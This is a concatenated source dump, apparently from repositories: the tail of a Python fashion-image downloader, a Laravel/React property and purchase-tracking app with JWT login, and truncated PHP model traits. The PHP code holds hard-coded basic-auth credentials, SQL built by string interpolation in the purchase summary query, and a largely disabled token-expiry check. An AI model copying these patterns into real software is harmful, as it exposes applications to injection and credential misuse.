'eyewear', 'footwear', 'hats', 'leggings', 'outerwear', 'pants', 'skirts', 'tops'] fmt='''item {{ name: "{clsname}" label: {clsid} display_name: "{clsname}" }} ''' s = zerocls for i,c in enumerate(classes): s += fmt.format(clsname=c, clsid=i+1) with open(output_path, 'w') as f: f.write(s) <file_sep># assuming a csv file with a name in column 0 and the image url in column 1 import requests import numpy as np from multiprocessing import Pool from glob import glob import os root = '/Users/luzan/data/WTBI/images' with open('images.csv','r') as f: csv = f.readlines() csv = [o.strip() for o in csv] csv = [(o[:9],o[10:]) for o in csv] def fetch(line): idx, url = line r = requests.get(url, allow_redirects=True) if len(r.content) == 0: print('{} no pic.'.format(idx)) return with open(os.path.join(root,'{}.png'.format(idx)), 'wb') as f: f.write(r.content) print('{} done.'.format(idx)) if __name__ == '__main__': e = glob(os.path.join(root, '*.png')) e = set( [int(os.path.basename(o)[:9]) for o in e]) m = set(range(1,424840)) m = m.difference(e) m = np.array(sorted(list(m))) - 1 csv = [csv[i] for i in m] import random random.shuffle(csv) # print(csv) p = Pool(8) p.map(fetch, csv)
b25bf75e356b02af96632a99cdd98fef2776d54b
[ "Python" ]
5
Python
ghostcow/wtbi_scripts
df86b995eead1c572765bfa00735a22220772488
1a2a55304a54f162aa40ce8f3d1aa1dbe089f584
refs/heads/master
<repo_name>dashingswags/manageMyProperty<file_sep>/app/Http/Controllers/PropertyController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Property; use App\Http\Resources\PropertyResource; class PropertyController extends Controller { function index(){ return PropertyResource::collection(Property::all()); } function viewProperty($id){ $property = Property::findOrFail($id); return new PropertyResource($property); } function setupProperty(Request $request){ //to add and update property details $request->validate([ 'title' => 'required|max:255', 'description' => 'required' ]); $property = new Property(); $property->title = $request->title; $property->description = $request->description; $property->status = $request->status; $property->reftag = self::hashFunction(); $property->save(); return (new PropertyResource($property))->response()->setStatusCode(201); } function viewPropertyBids(){ //view all bids by prospective tenants } function setBidStatus(){ //approve or decline a bid } function manageRentedProperties(){ //check their rent status and other required information } } <file_sep>/resources/js/components/Index.js import React, { Component } from 'react'; import ReactDOM from 'react-dom'; import { BrowserRouter as Router, Route,Link } from "react-router-dom"; class Index extends Component { componentWillUnmount(){ //alert('iam going home'); } render(){ return ( <div className="container my-5"> <hr className="my-4" /> <div className="jumbotron bg-light white-text"> <h1 className="display-4">Welcome</h1> <p className="lead">We bring you the best of real estate properties for hire</p> <p className="lead"> <Link className="btn btn-primary btn-lg" to="auth/signup" role="button">Get Started</Link> </p> </div> </div> ) } } export default Index;<file_sep>/database/seeds/PropertiesSeederTable.php <?php use Illuminate\Database\Seeder; use Faker\Factory as Faker; class PropertiesSeederTable extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $faker = Faker::create('App\Property'); for($i = 1 ; $i <= 10 ; $i++){ DB::table('properties')->insert([ 'title' => $faker->sentence(), 'description' => $faker->sentence(), 'status' => 0, 'created_by' => 1, 'created_at' => \Carbon\Carbon::now(), 'Updated_at' => \Carbon\Carbon::now(), 'reftag' => $this->hashFunction() ]); } } public static function hashFunction($strlnt = null){ $length = is_null($strlnt)? 20 : $strlnt; $hash = substr(md5(uniqid(mt_rand(),true)),0,$length); return $hash; } } <file_sep>/app/Http/Controllers/ProfileController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; class ProfileController extends Controller { function index(){ //view general information about your properties } function updateProfile(){ //update basic information } } <file_sep>/app/Http/Controllers/AuthController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use App\User; use Auth; use JWTAuth; use Tymon\JWTAuth\Exceptions\JWTException; use App\Http\Resources\UserResource; class AuthController extends Controller { function signup(Request $request){ if($request->isMethod('post')){ $validator = $this->validateNewUser($request); if ($validator->fails()) { return response()->json($validator->errors()->toJson(), 400); } $user = $this->saveNewuserDetails($request,$user_role = 2); $token = JWTAuth::fromUser($user); //return (new UserResource($user))->response()->setStatusCode(201); return $this->successfulResponse([ 'message' => 'Registration Successful.', 'payload' => new UserResource($user), 'token' => $token ], 201); } } function registerManager(Request $request){ $validator = $this->validateNewUser($request); if ($validator->fails()) { return response()->json($validator->errors()->toJson(), 400); } $user = $this->saveNewuserDetails($request, $user_role = 2); return $this->successfulResponse([ 'message' => 'Manager Added Successfuly.', 'payload' => new UserResource($user) ], 201); } function login(Request $request){ $validator = Validator::make($request->all(), [ 'email' =>'required', 'password' =>'<PASSWORD>' ]); if ($validator->fails()) { return response()->json($validator->errors()->toJson(), 400); } $credentials = $request->only('email', 'password'); try { // attempt to verify the credentials and create a token for the user if (! $token = JWTAuth::attempt($credentials)) { return response()->json(['error' => 'invalid credentials'], 401); } } catch (JWTException $e) { // something went wrong whilst attempting to encode the token return response()->json(['error' => 'could not create token'], 500); } //return response()->json(compact('token')); return $this->successfulResponse([ 'message' => 'Manager Added Successfuly.', 'payload' => new UserResource(Auth::user()), 'token' => $token, ], 201); } public function getAuthenticatedUser(){ try { if (! $user = JWTAuth::parseToken()->authenticate()) { return response()->json(['user_not_found'], 404); } } catch (Tymon\JWTAuth\Exceptions\TokenExpiredException $e) { return response()->json(['token_expired'], $e->getStatusCode()); } catch (Tymon\JWTAuth\Exceptions\TokenInvalidException $e) { return response()->json(['token_invalid'], $e->getStatusCode()); } catch (Tymon\JWTAuth\Exceptions\JWTException $e) { return response()->json(['token_absent'], $e->getStatusCode()); } // the token is valid and we have found the user via the sub claim return response()->json(compact('user')); } function validateNewUser($request){ return Validator::make($request->all(),[ 'name' =>'required|max:255', 'email'=> ['required','email','unique:users'], 'password'=> '<PASSWORD>', 'confirm_password'=> '<PASSWORD>' ]); } function saveNewuserDetails($request, $user_role){ $user = new User(); $user->name = $request->name; $user->email = $request->email; $user->user_role = $user_role; //1 = tenant, 2 = manager $user->password = <PASSWORD>($request->password); $user->reftag = self::hashFunction(); $user->save(); return $user; } } <file_sep>/resources/js/components/AppLayout.js import React, { Component } from 'react'; import ReactDOM from 'react-dom'; import { BrowserRouter as Router, Route,Link ,Switch} from "react-router-dom"; import AppNav from './AppNav'; import Property from './main/Property'; class AppLayout extends Component { constructor(props){ super(props); this.state = { navLinks: { dashboardUrl : false, propertiesUrl : false, tenantsUrl : false, managersUrl : false, } } } render(){ return ( <div className="app-layout"> <AppNav navLinks={this.state.navLinks}/> <div className="content bg-light pt-5"> <Switch> <Route path="/dashboard" component={Property}/> </Switch> </div> </div> ) } } export default AppLayout;<file_sep>/resources/js/components/main/Property.js import React, { Component } from 'react'; import ReactDOM from 'react-dom'; import { Router, Route, Link, browserHistory } from 'react-router'; import axios from 'axios'; //import Master from './Master'; const baseurl = window.location.protocol+"//"+window.location.host+'/api'; class Property extends Component { constructor(){ super(); this.state = { properties : {data : []} } } componentWillMount(){ axios.get(baseurl+'/properties',{ headers : {Authorization : `Bearer ${localStorage.usertoken}` } }).then(response => { this.setState({ properties : response.data }); }).catch(errors =>{ console.log(errors); }) } renderProperties(){ return this.state.properties.data.map(item => { return (<tr key={item.id}> <td>{item.id}</td> <td>{item.title}</td> <td>{item.description}</td> </tr>) }) } render() { return ( <div className="container"> <div className="row justify-content-center"> <div className="col-md-8"> <div className="card"> <div className="">Property List</div> <table className="table table-hover"> <thead> <tr> <th>S/N</th> <th>Title</th> <th>description</th> </tr> </thead> <tbody>{this.renderProperties()}</tbody> </table> </div> </div> </div> </div> ); } } export default Property;<file_sep>/resources/js/components/Auth.js import React, { Component } from 'react'; import ReactDOM from 'react-dom'; import axios from 'axios'; import { BrowserRouter as Router, Route, Switch, Redirect ,Link } from "react-router-dom"; const baseurl = window.location.protocol+"//"+window.location.host+'/api'; class Auth extends Component { constructor(props) { super(props); this.state = { isLoginForm:true, submitting :false, formValues : { name:'', email:'', password:'', confirm_password:'', }, errors : {} }; this.toggleForm = this.toggleForm.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.handleInputChange = this.handleInputChange.bind(this); } componentWillMount() { let isLoginForm = this.props.location.pathname == '/auth/login'; this.setState({ isLoginForm : isLoginForm, }) } toggleForm(e){ e.preventDefault(); this.setState(state => ({ isLoginForm : !state.isLoginForm })); } handleInputChange(e){ const target = e.target; const value = target.type === 'checkbox' ? target.checked : target.value; const name = target.name; const state = Object.assign({}, this.state.formValues); state[name] = value; this.setState({ formValues:state }) } toggleSubmission(){ this.setState((state) => ({ submitting: !state.submitting })); } handleSubmit(e){ e.preventDefault(); this.toggleSubmission(); const postUrl = this.state.isLoginForm? '/login' : '/signup'; const url = baseurl+postUrl; axios.post(url, this.state.formValues,{ headers : {'Content-Type':'application/json'} }) .then((response) => { this.toggleSubmission(); this.props.toggleLogIn(); let status = response.status; localStorage.setItem('usertoken',response.data.token); return this.props.history.push('/dashboard'); }) .catch((errors) => { console.log(errors); }); } render(){ const isLoginForm = this.state.isLoginForm; const formValues = this.state.formValues; let formInput; if (isLoginForm) { formInput = <LoginResource formValues={this.state.formValues} handleInputChange={this.handleInputChange} /> }else{ formInput = <RegisterResource formValues={this.state.formValues} handleInputChange={this.handleInputChange}/> } return ( <div className="auth-bg"> <div className="align-self-center mx-auto"> {/*<h1 className="text-white text-center"> <Link to='/' className="text-white text-decoration-none">ManageMyProperty</Link> </h1>*/} <div className="card rounded-0"> <nav className="nav justify-content-center p-2"> <Link to='#' className={"nav-link rounded-0 mr-2 "+(isLoginForm? 'active' : '')} onClick={this.toggleForm}> Login </Link> <Link to='#' className={"nav-link rounded-0 "+(!isLoginForm? 'active' : '')} onClick={this.toggleForm}> Sign up </Link> </nav> <form className="p-3 auth-form" method="post"> {formInput} <div className="text-right"> <button type="submit" className="btn btn-primary" disabled={this.state.submitting} onClick={this.handleSubmit}> {this.state.submitting ? 'Please Wait...' : 'Submit'} </button> </div> </form> </div> </div> </div> ) } } function LoginResource(props){ const data = props.formValues; return ( <React.Fragment> <div className="form-group"> <label>Email address</label> <input name="email" type="email" value={data.email} className="form-control rounded-0" id="email" placeholder="Your email" autoComplete="new-email" required onChange={props.handleInputChange}/> </div> <div className="form-group"> <label>Password</label> <input name="password" type="password" value={data.password} className="form-control rounded-0" id="user-password" placeholder="<PASSWORD>" autoComplete="new-password" required onChange={props.handleInputChange}/> </div> </React.Fragment> ); } function RegisterResource(props){ const data = props.formValues; return ( <React.Fragment> <span id="registerHelp" className="form-text text-muted">Kindly register as a tenant to have access to occupy our properties.</span> <div className="form-group"> <label>Name</label> <input name="name" type="text" value={data.name} className="form-control rounded-0" id="name" placeholder="Your Name" autoComplete="new-name" required onChange={props.handleInputChange}/> </div> <LoginResource formValues ={data} handleInputChange={props.handleInputChange}/> <div className="form-group"> <label>Confirm password</label> <input name="confirm_password" type="password" value={data.confirmPassword} className="form-control rounded-0" id="user-password-confirm" placeholder="Confirm Password" autoComplete="new-conform-password" required onChange={props.handleInputChange}/> </div> </React.Fragment> ) } export default Auth;<file_sep>/app/Http/Controllers/Controller.php <?php namespace App\Http\Controllers; use Illuminate\Foundation\Bus\DispatchesJobs; use Illuminate\Routing\Controller as BaseController; use Illuminate\Foundation\Validation\ValidatesRequests; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Http\JsonResponse; class Controller extends BaseController { use AuthorizesRequests, DispatchesJobs, ValidatesRequests; public static function hashFunction($strlnt = null){ $length = is_null($strlnt)? 20 : $strlnt; $hash = substr(md5(uniqid(mt_rand(),true)),0,$length); return $hash; } public function errorResponse($message = "", $status = "400"){ $payload = [ 'status' => 'error', ]; // If $message is an array we assume it is the array payload to // be retured with the response. if(is_array($message)){ $payload = $payload+$message; } // Else we assume it is just the message to be returned to be // returned with the response. else{ $payload['message'] = $message; } return new JsonResponse($payload, $status); } public function successfulResponse($message = "", $status = "200"){ $payload = [ 'status' => 'success', ]; // If $message is an array we assume it is the array payload to // be retured with the response. if(is_array($message)){ $payload = $payload+$message; } // Else we assume it is just the message to be returned to be // returned with the response. else{ $payload['message'] = $message; } return new JsonResponse($payload, $status); } public function exceptionResponse($exception){ return new JsonResponse($exception->getPayload(), $exception->getStatusCode()); } } <file_sep>/resources/js/components/AppNav.js import React, { Component } from 'react'; import ReactDOM from 'react-dom'; import { BrowserRouter as Router, Route, Link } from "react-router-dom"; class AppNav extends Component { constructor(props){ super(props); this.state = { landingPage : true } } render(){ return ( <nav className="nav flex-column p-2 side-nav"> <br /> <Link to='/dashboard' className="nav-link rounded-0"> Dashboard </Link> <Link to='/properties' className="nav-link rounded-0"> Properties </Link> <Link to='/tenants' className="nav-link rounded-0"> Tenants </Link> <Link to='/managers' className="nav-link rounded-0"> Managers </Link> </nav> ) } } export default AppNav;
9f9b38d97a9008d396fd8ebd1c81d39d263f525e
[ "JavaScript", "PHP" ]
10
PHP
dashingswags/manageMyProperty
abe2d8b48207dc0493127d59f0160cc0b398581a
88f1561b8059121d6971fa18899aebf650a8f425
refs/heads/master
<file_sep>package chapter1.math.mod_01; import java.util.Scanner; /* 문제 (A+B)%C는 (A%C + B%C)%C 와 같을까? (A×B)%C는 (A%C × B%C)%C 와 같을까? 세 수 A, B, C가 주어졌을 때, 위의 네 가지 값을 구하는 프로그램을 작성하시오. 입력 첫째 줄에 A, B, C가 순서대로 주어진다. (2 ≤ A, B, C ≤ 10000) 출력 첫째 줄에 (A+B)%C, 둘째 줄에 (A%C + B%C)%C, 셋째 줄에 (A×B)%C, 넷째 줄에 (A%C × B%C)%C를 출력한다. 예제 입력 1 5 8 4 예제 출력 1 1 1 0 0 */ public class mod { public static void main(String[] args) { Scanner sc = new Scanner(System.in); String insVal = ""; int a, b, c ; insVal= sc.nextLine(); String[] s = insVal.split(" "); a = Integer.parseInt(s[0]); b = Integer.parseInt(s[1]); c = Integer.parseInt(s[2]); System.out.println((a+b)%c); System.out.println((a%c+b%c)%c); System.out.println((a*b)%c); System.out.println((a%c*b%c)%c); } } /* * [[[나머지 연산]]] **나머지 연산의 법칙 * 1) (A+B) mod M = ( (A mod M) + (B mod M) ) mod M * 2) (AXB) mod M = ( (A mod M) X (B mod M) ) mod M * 뺄샘의 경우는 음수가 나올 수 있음으로 아래와 같이 * 3) (A-B) mod M = ( (A mod M) - (B mod M) + M ) mod M // M을 한번 더해준다 * 4) 나누기의 경우 성립 하지 않음. Modular Inverse를 구해야함. ____나누기의 경우에는 (axb^c-2)%c = (a/b)%c [[페르마의 소정리]] 단, a와 b가 서로소이고 c는 소수 일 경우에만 적용됨. */ <file_sep>package chapter1.math.gcdAndLcm; import java.util.Scanner; /* 문제 두 개의 자연수를 입력받아 최대 공약수와 최소 공배수를 출력하는 프로그램을 작성하시오. 입력 첫째 줄에는 두 개의 자연수가 주어진다. 이 둘은 10,000이하의 자연수이며 사이에 한 칸의 공백이 주어진다. 출력 첫째 줄에는 입력으로 주어진 두 수의 최대공약수를,둘째 줄에는 입력으로 주어진 두 수의 최소 공배수를 출력한다. 예제 입력 1 24 18 예제 출력 1 6 */ public class gcdAndLcm{ public static void main(String[] args) { gcdAndLcm gal = new gcdAndLcm(); Scanner sc = new Scanner(System.in); int a = sc.nextInt(); int b = sc.nextInt(); int gcd = gal.findGcd(a, b); int lcm = (a*b) /gcd; System.out.println(gcd); System.out.println(lcm); } private int findGcd(int a, int b) { while( b!= 0) { int r = a%b; a=b; b=r; } return a; } } /* [최대공약수GCD] 두수 a와 b의 공통된 약수 중 가장 큰 정수 *최대공약수를 구하는 방법 = 2부터 min(a,b)까지 모든 수를 나누어 보는 방법. ##min(a,b)란 둘중 작은수 [[[방법1]]] int gcd = 1; for(int i=2; i<=min(a,b); i++){ if(a % i == 0 && b % i == 0){ g = i; } } [[[방법2]]] 위에것 보다 빠른 방법 _ 유클리드 호제법 a를 b로 나눈 나머지를 r 이라고 할때, GCD(a,b) = GCD(b,r)과 같다. r=0일떄 b 가 최대공약수이다. ex) gcd(24,16) = gcd(16,8) = gcd(8,0) == 8(gcd) --유클리드 호제법(재귀) int gcd(int a,int b) { if(b==0){ return a; } else { return gcd(b, a%b); } } ----> 시간복잡도 0(logN) --유클리드 호제법(반복) int gcd(int a,int b) { while( b!= 0) { int r = a%b; a=b; b=r; } return a; } ----> 시간복잡도 0(logN) 세수의 최대공약수 gcd(a,b,c) = gcd(gcd(a,b),c) 와 같은방식으로 해서 구할 수 있다. ---------------------------------------------------------------- [[최소공배수Least Common Multiple]] 최소공배수는 두 수의 공통된 배수 중 가장 작은 정수 최소 공배수는 GCD를 응용하여 구할 수 있다. ----두수 a,b의 최대공약수가 g 일떄, 최소 공배수 lcm = g*(a/g)*(b/g) == (a*b)/gcd이다. */
2d3c1b9774822e507dc97405b2b50406f84dee12
[ "Java" ]
2
Java
sanggonju/baekjoon201_basic
e556d767475c79ea2b37cd061c9ee1c83018fe0e
e1875904437ec70e253dd656db8f84cc8406b510
refs/heads/master
<file_sep><?php namespace App\Middlewares; use Psr\Http\Message\{ ServerRequestInterface as Request, ResponseInterface as Response }; final class JwtDateTimeMiddleware { public function __invoke(Request $request, Response $response, callable $next): Response { $token = $request->getAttribute('jwt'); // $expireDate = new \DateTime($token['expired_at']); // $now = new \DateTime(); // if($expireDate < $now){ // $message = 'Token Expirado'; // return $response->withStatus(401)->withHeader('Content-Type', 'application/json')->withJson($message); // } // echo '<pre>'; // print_r($token); if(empty($token)){ echo"erro"; } $response = $next($request, $response); return $response; } } <file_sep><?php namespace src; use Tuupola\Middleware\HttpBasicAuthentication; function basicAuth(): HttpBasicAuthentication { return new HttpBasicAuthentication([ "relaxed" => ["localhost", "http://sistema-cartao.rf.gd/"], "users" => [ "root" => "teste123" ] ]); } <file_sep><?php namespace App\Controllers; use Psr\Http\Message\ServerRequestInterface as Request; use Psr\Http\Message\ResponseInterface as Response; use App\DAO\ComprasDAO; use App\DAO\BuysByCards; use App\DAO\ResumeCompras; use App\Models\ComprasModel; final class ComprasController { //GET COMPRAS POR USUARIO public function getAllByUser(Request $request, Response $response, array $args): Response { $params = $request->getQueryParams(); $mes = (string)$params['mes']; $ano = (int)$params['ano']; $user = (string)$params['user']; $comprasDAO = new ComprasDAO(); $listCompras = $comprasDAO->getAllByUser($mes, $ano, $user); return $response = $response->withStatus(200)->withHeader('Content-Type', 'application/json')->withJson($listCompras); } //GET COMPRAS RESUMO public function getResume(Request $request, Response $response, array $args): Response { $params = $request->getQueryParams(); $mes = (string)$params['mes']; $ano = (int)$params['ano']; $ResumeCompras = new ResumeCompras(); $listComprasbyUser = $ResumeCompras->getResume($mes, $ano); return $response = $response->withStatus(200)->withHeader('Content-Type', 'application/json')->withJson($listComprasbyUser); } //GET POR CARTÃO public function getAllByCard(Request $request, Response $response, array $args): Response { $params = $request->getQueryParams(); $mes = (string)$params['mes']; $ano = (int)$params['ano']; $card = (string)$params['card']; $BuysByCards = new BuysByCards(); $listCompras = $BuysByCards->getAllByCard($mes, $ano, $card); return $response = $response->withStatus(200)->withHeader('Content-Type', 'application/json')->withJson($listCompras); } //POST public function insertCompra(Request $request, Response $response, array $args): Response { $response = $response->withJson([ 'mensagem' => 'Ola Mundo' ]); return $response; } //PUT public function editCompra(Request $request, Response $response, array $args): Response { $response = $response->withJson([ 'mensagem' => 'Ola Mundo' ]); return $response; } //DELETE public function deleteCompra(Request $request, Response $response, array $args): Response { $response = $response->withJson([ 'mensagem' => 'Ola Mundo' ]); return $response; } } <file_sep><?php use function src\{ slimConfiguration, basicAuth, jwtAuth }; use App\Controllers\{ ComprasController, AuthController }; use App\Middlewares\JwtDateTimeMiddleware; $app = new \Slim\App(slimConfiguration()); $app->post('/login', AuthController::class . ':login'); $app->get('/compras', ComprasController::class.':getAllByUser'); $app->get('/compras/resume', ComprasController::class.':getResume'); $app->get('/compras/card', ComprasController::class.':getAllByCard'); // ========================================= $app->group('', function() use ($app) { $app->post('/compras', ComprasController::class.':insertCompra'); $app->put('/compras', ComprasController::class.':editCompra'); $app->delete('/compras', ComprasController::class.':deleteCompra'); })->add(new JwtDateTimeMiddleware())->add(jwtAuth()); // ========================================= $app->run(); <file_sep><?php namespace App\Models; final class ComprasModel { /** * @var int */ private $id; /** * @var int */ private $nomeComp; /** * @var string */ private $usuario; /** * @var string */ private $valor; /** * @return string */ private $parcela; /** * @return string */ private $cartao; /** * @return string */ private $mes; /** * @return string */ private $ano; /** * @return int */ private $dtPagamento; /** * @return string */ private $quemCadastrou; /** * @return string */ //het Id public function getId(): int { return $this->id; } //GETERS E SETERS //NOME DA COMPRA public function getNome(): string { return $this->nomeComp; } public function setNome(string $nomeComp): ComprasModel { $this->nomeComp = $nomeComp; return $this; } //USUARIO public function getUser(): string { return $this->usuario; } public function setUser(string $usuario): ComprasModel { $this->usuario = $usuario; return $this; } //VALOR public function getValor(): string { return $this->valor; } public function setValor(string $valor): ComprasModel { $this->valor = $valor; return $this; } //PARCELA public function getParcela(): string { return $this->parcela; } public function setParcela(string $parcela): ComprasModel { $this->parcela = $parcela; return $this; } //CARTÃO public function getCartao(): string { return $this->cartao; } public function setCartao(string $cartao): ComprasModel { $this->cartao = $cartao; return $this; } //MÊS public function getMes(): string { return $this->mes; } public function setMes(string $mes): ComprasModel { $this->mes = $mes; return $this; } //ANO public function getAno(): string { return $this->ano; } public function setAno(string $ano): ComprasModel { $this->ano = $ano; return $this; } //DATA DO PAGAMENTO public function getDtPagamento(): string { return $this->dt_pagamento; } public function setDtPagamento(string $dtPagamento): ComprasModel { $this->dt_pagamento = $dtPagamento; return $this; } //QUEM CADASTROU public function getQuemCadastrou(): string { return $this->quemCadastrou; } public function setQuemCadastrou(string $quemCadastrou): ComprasModel { $this->quemCadastrou = $quemCadastrou; return $this; } } <file_sep><?php namespace App\DAO; use App\Models\TokenModel; class TokensDAO extends Conexao { public function __construct() { parent::__construct(); } public function createToken(TokenModel $token): void{ // $stmt = $this->pdo // ->prepare('INSERT INTO tokens // ( // token, // refresh_token, // usuarios_id // ) // VALUES // ( // :token, // :refresh_token, // :usuarios_id // ); // '); // $stmt->execute([ // 'token' => $token->getToken(), // 'refresh_token' => $token->getRefresh_token(), // 'usuarios_id' => $token->getUsuarios_id() // ]); } } <file_sep><?php namespace App\Models; final class UsuarioModel { /** * @var int */ private $id; /** * @var string */ private $nome; /** * @var string */ private $status; /** * @var string */ private $hora; /** * @var string */ private $usuario; /** * @var string */ private $senha; /** * @return int */ public function getId(): int { return $this->id; } public function setId(int $id): self { $this->id = $id; return $this; } //NOME public function getNome(): string { return $this->nome; } public function setNome(string $nome): self { $this->nome = $nome; return $this; } //STATUS public function getStatus(): string { return $this->status; } public function setStatus(string $status): self { $this->status = $status; return $this; } //STATUS public function getHora(): string { return $this->hora; } public function setHora(string $hora): self { $this->hora = $hora; return $this; } //USUARIO public function getUsuario(): string { return $this->usuario; } public function setUsuario(string $usuario): self { $this->usuario = $usuario; return $this; } //SENHA public function getSenha(): string { return $this->senha; } public function setSenha(string $senha): self { $this->senha = $senha; return $this; } } <file_sep><?php namespace App\DAO; use App\Models\UsuarioModel; //use App\Models\ComprasModel; class UserDataDAO extends Conexao { public function __construct() { parent::__construct(); } public function getUser(string $user): ?UsuarioModel { $stmt = $this->pdo->prepare("SELECT * FROM usuarios WHERE usuario = :usuario"); $stmt->bindParam(':usuario', $user); $stmt->execute(); $userData = $stmt->fetchAll(\PDO::FETCH_OBJ); if(count($userData) === 0) return null; $usuario = new UsuarioModel(); $usuario->setId($userData[0]->id) ->setNome($userData[0]->nome) ->setStatus($userData[0]->status) ->setHora($userData[0]->hora) ->setUsuario($userData[0]->usuario) ->setSenha($userData[0]->senha); return $usuario; } } <file_sep><?php header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: POST, GET, PUT, DELETE"); header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization"); header("Content-type: application/json"); require_once './vendor/autoload.php'; require_once './env.php'; require_once './src/slimConfiguration.php'; require_once './src/basicAuth.php'; require_once './src/jwtAuth.php'; require_once './routes/index.php'; <file_sep><?php namespace App\DAO; use App\Models\ComprasModel; class BuysByCards extends Conexao { public function __construct() { parent::__construct(); } public function getAllByCard(string $mes, int $ano, string $card) { $stmt = $this->pdo->prepare("SELECT * FROM compra WHERE mes = :mes AND cartao = :cartao AND ano = :ano ORDER BY id ASC"); $stmt->bindParam('mes', $mes); $stmt->bindParam('cartao', $card); $stmt->bindParam('ano', $ano); $stmt->execute(); $retorno = $stmt->fetchAll(\PDO::FETCH_OBJ); if(count($retorno) === 0) return null; $compra = new ComprasModel(); for ($i=0; $i < count($retorno); $i++) { $compra ->setNome($retorno[$i]->nomeComp) ->setUser($retorno[$i]->usuario) ->setValor($retorno[$i]->valor) ->setParcela($retorno[$i]->parcela) ->setCartao($retorno[$i]->cartao) ->setMes($retorno[$i]->mes) ->setAno($retorno[$i]->ano) ->setDtPagamento($retorno[$i]->dt_pagamento) ->setQuemCadastrou($retorno[$i]->quemCadastrou); } return $retorno; } } <file_sep><?php namespace App\DAO; use App\Models\ComprasModel; use App\Models\UsuarioModel; class ComprasDAO extends Conexao { public function __construct() { parent::__construct(); } public function getAllByUser(string $mes, int $ano, string $user) { $stmt = $this->pdo->prepare("SELECT * FROM compra WHERE mes = :mes AND usuario = :user AND ano = :ano ORDER BY id ASC"); $stmt->bindParam('mes', $mes); $stmt->bindParam('user', $user); $stmt->bindParam('ano', $ano); $stmt->execute(); $retorno = $stmt->fetchAll(\PDO::FETCH_OBJ); if(count($retorno) === 0) return null; $compra = new ComprasModel(); for ($i=0; $i < count($retorno); $i++) { $compra ->setNome($retorno[$i]->nomeComp) ->setUser($retorno[$i]->usuario) ->setValor($retorno[$i]->valor) ->setParcela($retorno[$i]->parcela) ->setCartao($retorno[$i]->cartao) ->setMes($retorno[$i]->mes) ->setAno($retorno[$i]->ano) ->setDtPagamento($retorno[$i]->dt_pagamento) ->setQuemCadastrou($retorno[$i]->quemCadastrou); } return $retorno; } } <file_sep><?php namespace App\Controllers; use Psr\Http\Message\ServerRequestInterface as Request; use Psr\Http\Message\ResponseInterface as Response; use App\DAO\UserDataDAO; use Firebase\JWT\JWT; use App\DAO\TokensDAO; use App\Models\TokenModel; final class AuthController{ public function login(Request $request, Response $response, array $args): Response{ $data = $request->getParsedBody(); $user = $data['usuario']; $senha = $data['senha']; $UserDataDAO = new UserDataDAO(); $usuario = $UserDataDAO->getUser($user); if(empty($user) or empty($senha)){ $message = 'USÚARIO INVALIDO'; return $response->withStatus(401)->withHeader('Content-Type', 'application/json')->withJson($message); } if(!password_verify($senha, $usuario-> getSenha())){ //DECRYPT PASSWORD $crypted = password_hash($password, PASSWORD_DEFAULT); $message = 'Usúario ou senha invalido'; return $response->withStatus(401)->withHeader('Content-Type', 'application/json')->withJson($message); } // $expireDate = (new \dateTime())->modify('+365 days')->format('Y-m-d H:i:s'); $tokenPayload = [ 'sub' => $usuario->getId(), 'name' => $usuario->getNome(), 'status' => $usuario->getStatus(), 'hora' => $usuario->getHora(), 'usuario' => $usuario->getUsuario(), //'expired_at' => $expireDate ]; $token = JWT::encode($tokenPayload, getenv('JWT_SECRET_KEY')); $refreshTokenPayload = [ 'usuario' => $usuario->getUsuario(), //'ramdom' => uniqid() ]; $refreshToken = JWT::encode($refreshTokenPayload, getenv('JWT_SECRET_KEY')); $tokenModel = new TokenModel(); $tokenModel->setRefresh_token($refreshToken) ->setToken($token) ->setUsuarios_id($usuario->getId()) ->setUsuarios_Name($usuario->getUsuario()); $tokensDAO = new TokensDAO(); $tokensDAO->createToken($tokenModel); $tokenDecoded = JWT::decode( $token, getenv('JWT_SECRET_KEY'), ['HS256'] ); $response = $response->withJson([ "token" => $token, "userdata" => $tokenDecoded, // "refresh_token" => $refreshToken ]); return $response; } } <file_sep><?php namespace App\DAO; class ResumeCompras extends Conexao { public function __construct() { parent::__construct(); } public function getResume(string $mes, int $ano) { $stmt = $this->pdo->prepare("SELECT * FROM compra WHERE mes = :mes AND ano = :ano GROUP BY usuario ORDER BY id ASC"); $stmt->bindParam('mes', $mes); $stmt->bindParam('ano', $ano); $stmt->execute(); $retorno = $stmt->fetchAll(\PDO::FETCH_OBJ); if(count($retorno) === 0) return []; for ($i=0; $i < count($retorno); $i++) { $user = $retorno[$i] -> usuario; $dt_pg = $retorno[$i] -> dt_pagamento; $pago = $retorno[$i] -> pago; $somar = $this->pdo->query("SELECT SUM(valor) FROM compra WHERE usuario = '$user' AND mes = '$mes' and ano = '$ano'"); $resultado = $somar->fetchColumn(); $valor = number_format($resultado, 2, ',', '.'); $resume[] = ["nome" => $user, "valor" => $valor, "dt_pg" => $dt_pg, "pago" => $pago]; } return $resume; } }
80c736999230e9e58897dee5f0453784db13d8c9
[ "PHP" ]
13
PHP
erickkf600/Slim-API
8c55a76ea3d489cc07dad21fbad66153655787f0
c39dfeb4a106d8276bd19ff6a3508dca85f50a66
refs/heads/master
<file_sep><?php namespace DALTCORE\Helpers\Traits\Models; trait Jsonable { /** @var array */ protected $jsonable = []; /** * Set json attributes * * @param $key * @param $value */ public function setAttribute($key, $value) { if (in_array($key, $this->jsonable, true)) { if (is_array($value)) { $this->attributes[$key] = json_encode($value); } else { parent::setAttribute($key, $value); } } else { parent::setAttribute($key, $value); } } /** * Get json attributes * * @param $key * * @return mixed */ public function getAttribute($key) { if (in_array($key, $this->jsonable, true)) { if (is_json(parent::getAttribute($key))) { return json_decode(parent::getAttribute($key)); } else { return parent::getAttribute($key); } } else { return parent::getAttribute($key); } } } <file_sep><?php namespace DALTCORE\Helpers\Traits\Models; trait Encryptable { /** * Parse decryptable keys * * @param $key * @return string */ public function getAttribute($key) { $value = parent::getAttribute($key); if (in_array($key, $this->encryptable, true)) { $value = decrypt($value); } return $value; } /** * Parse encryptable keys * * @param $key * @param $value * @return mixed */ public function setAttribute($key, $value) { if (in_array($key, $this->encryptable, true)) { $value = encrypt($value); } return 